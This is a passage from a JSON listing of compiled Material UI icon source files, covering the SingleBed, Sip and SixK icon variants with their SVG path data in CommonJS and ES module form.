    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM9 19H7v-2h2zm0-4H7v-4h2zm6-4h2v4h-2zm0 6h2v2h-2zm-4-6h2v2h-2zm0 4h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4zM7 17h2v2H7zm8 0h2v2h-2zm-8-6h2v4H7zm4 4h2v4h-2zm0-4h2v2h-2zm4 0h2v4h-2z\"\n}, \"1\")], 'SimCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20zm-4-2h-3V7h3zM8 7h3v3H8zm-2 5h12v3H6z\"\n}), 'SingleBed');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20zm-4-2h-3V7h3zM8 7h3v3H8zm-2 5h12v3H6z\"\n}), 'SingleBed');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20zm-4-2h-3V7h3zM8 7h3v3H8zm-2 5h12v3H6z\"\n}), 'SingleBedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1-.9-2-2-2V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20zm-4-2h-3V7h3zM8 7h3v3H8zm-2 5h12v3H6z\"\n}), 'SingleBedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33l.51 1.53c.1.28.36.47.66.47s.56-.19.66-.47L7.67 17h8.67l.51 1.53c.09.28.35.47.65.47s.56-.19.66-.47l.51-1.53H20v-5c0-1.1-.9-2-2-2m-7 0H8V8c0-.55.45-1 1-1h2zm5 0h-3V7h2c.55 0 1 .45 1 1z\"\n}), 'SingleBedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33l.51 1.53c.1.28.36.47.66.47s.56-.19.66-.47L7.67 17h8.67l.51 1.53c.09.28.35.47.65.47s.56-.19.66-.47l.51-1.53H20v-5c0-1.1-.9-2-2-2m-7 0H8V8c0-.55.45-1 1-1h2zm5 0h-3V7h2c.55 0 1 .45 1 1z\"\n}), 'SingleBedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V5H6v5H4v7h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20v-7zm-7 0H8V7h3zm5 0h-3V7h3z\"\n}), 'SingleBedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V5H6v5H4v7h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20v-7zm-7 0H8V7h3zm5 0h-3V7h3z\"\n}), 'SingleBedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12h12v3H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20v-5c0-1.1-.9-2-2-2m-5-3h3v3h-3zM8 7h3v3H8zm10 8H6v-3h12z\"\n}, \"1\")], 'SingleBedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SingleBedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12h12v3H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10V7c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-1.1 0-2 .9-2 2v5h1.33L6 19h1l.67-2h8.67l.66 2h1l.67-2H20v-5c0-1.1-.9-2-2-2m-5-3h3v3h-3zM8 7h3v3H8zm10 8H6v-3h12z\"\n}, \"1\")], 'SingleBedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sip.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-10 6.5H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4zm3 4.5h-2V9h2zm6-3c0 .55-.45 1-1 1h-2.5v2H14V9h4c.55 0 1 .45 1 1z\"\n}, \"1\")], 'Sip');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sip.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-10 6.5H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4zm3 4.5h-2V9h2zm6-3c0 .55-.45 1-1 1h-2.5v2H14V9h4c.55 0 1 .45 1 1z\"\n}, \"1\")], 'Sip');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2m0 2v12h16V6zm7 3h2v6h-2zm3 0h4c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1h-2.5v2H14zm3.5 1.5h-2v1h2zm-11 .75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4v1.5H6.5z\"\n}), 'SipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2m0 2v12h16V6zm7 3h2v6h-2zm3 0h4c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1h-2.5v2H14zm3.5 1.5h-2v1h2zm-11 .75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5v-1.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4v1.5H6.5z\"\n}), 'SipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M10 9.75c0 .41-.34.75-.75.75H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3.25c.41 0 .75.34.75.75M12 15c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m7-3c0 .55-.45 1-1 1h-2.5v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M10 9.75c0 .41-.34.75-.75.75H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3.25c.41 0 .75.34.75.75M12 15c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m7-3c0 .55-.45 1-1 1h-2.5v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}, \"1\")], 'SipRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-10 6.5H6.5v.75H10V15H5v-1.5h3.5v-.75H5V9h5zm3 4.5h-2V9h2zm6-6v4h-3.5v2H14V9z\"\n}, \"1\")], 'SipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-10 6.5H6.5v.75H10V15H5v-1.5h3.5v-.75H5V9h5zm3 4.5h-2V9h2zm6-6v4h-3.5v2H14V9z\"\n}, \"1\")], 'SipSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm10-9h4c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1h-2.5v2H14zm-3 0h2v6h-2zm-6 4.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4v1.5H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14v-1.75c0-.55-.45-1-1-1H6.5v-.75H10V9H6c-.55 0-1 .45-1 1v1.75c0 .55.45 1 1 1h2.5v.75H5V15h4c.55 0 1-.45 1-1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2v6h-2zm4.5 4H18c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-4v6h1.5zm0-2.5h2v1h-2z\"\n}, \"4\")], 'SipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SipTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 10.5h2v1h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm10-9h4c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1h-2.5v2H14zm-3 0h2v6h-2zm-6 4.5h3.5v-.75H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h4v1.5H6.5v.75H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14v-1.75c0-.55-.45-1-1-1H6.5v-.75H10V9H6c-.55 0-1 .45-1 1v1.75c0 .55.45 1 1 1h2.5v.75H5V15h4c.55 0 1-.45 1-1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v6h-2zm4.5 4H18c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-4v6h1.5zm0-2.5h2v1h-2z\"\n}, \"4\")], 'SipTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SixK');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SixK');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5zM7.5 15H10c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H8v-1h3V9H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1.5V14H8z\"\n}, \"1\")], 'SixKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5zM7.5 15H10c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H8v-1h3V9H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1.5V14H8z\"\n}, \"1\")], 'SixKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 12.5H8V14H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 7.5h-3v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5zM16 15h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'SixKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 12.5H8V14H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 7.5h-3v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5zM16 15h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'SixKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5zM7 15h2c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1V14h-1z\"\n}, \"1\")], 'SixKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5zM7 15h2c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1V14h-1z\"\n}, \"1\")], 'SixKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.75 7.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75m5.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 